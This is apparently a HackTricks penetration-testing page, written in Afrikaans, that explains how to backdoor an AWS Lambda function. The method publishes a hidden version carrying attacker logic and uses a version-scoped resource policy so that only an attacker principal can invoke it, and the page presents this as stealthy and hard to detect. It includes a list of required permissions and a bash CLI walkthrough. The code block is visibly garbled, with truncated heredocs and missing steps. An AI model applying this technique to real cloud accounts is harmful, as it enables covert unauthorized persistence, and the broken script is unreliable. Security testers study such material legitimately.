# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version) {{#include ../../../../banners/hacktricks-training.md}} ## Opsomming Skep 'n versteekte Lambda-weergawe met aanvallerslogika en scope 'n resource-gebaseerde beleid na daardie spesifieke weergawe (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Ken slegs `lambda:InvokeFunction` toe op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n aanvaller-prinsipaal. Normale aanroepe via die funksienaam of primêre alias bly onaangeraak, terwyl die aanvaller die backdoored weergawe-ARN direk kan aanroep. Dit is meer stealthy as om 'n Function URL bloot te stel en verander nie die primêre verkeer-alias nie. ## Vereiste Permissies (aanvaller) - `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration` - `lambda:AddPermission` (om 'n version-geskoorde resource-beleid by te voeg) - `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (om 'n aanvaller-prinsipaal te simuleer) ## Aanvalstappe (CLI)
Publiseer versteekte weergawe, voeg qualifier-geskoorde permissie by, roep aan as aanvaller ```bash # Vars REGION=us-east-1 TARGET_FN= # [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version # aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION" # 1) Build a small backdoor handler and publish as a new version cat > bdoor.py </dev/null cat > /tmp/invoke-policy.json </dev/null cat /tmp/ver-out.json # 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true ```
## Impak - Verleen 'n stil agterdeur om 'n verborge weergawe van die funksie aan te roep sonder om die primêre alias te wysig of 'n Function URL bloot te stel. - Beperk blootstelling tot slegs die gespesifiseerde weergawe/alias via die hulpbron-gebaseerde beleid `Qualifier`, wat die opsporingsoppervlak verminder terwyl dit betroubare aanroeping vir die aanvaller-prinsipaal behou. {{#include ../../../../banners/hacktricks-training.md}}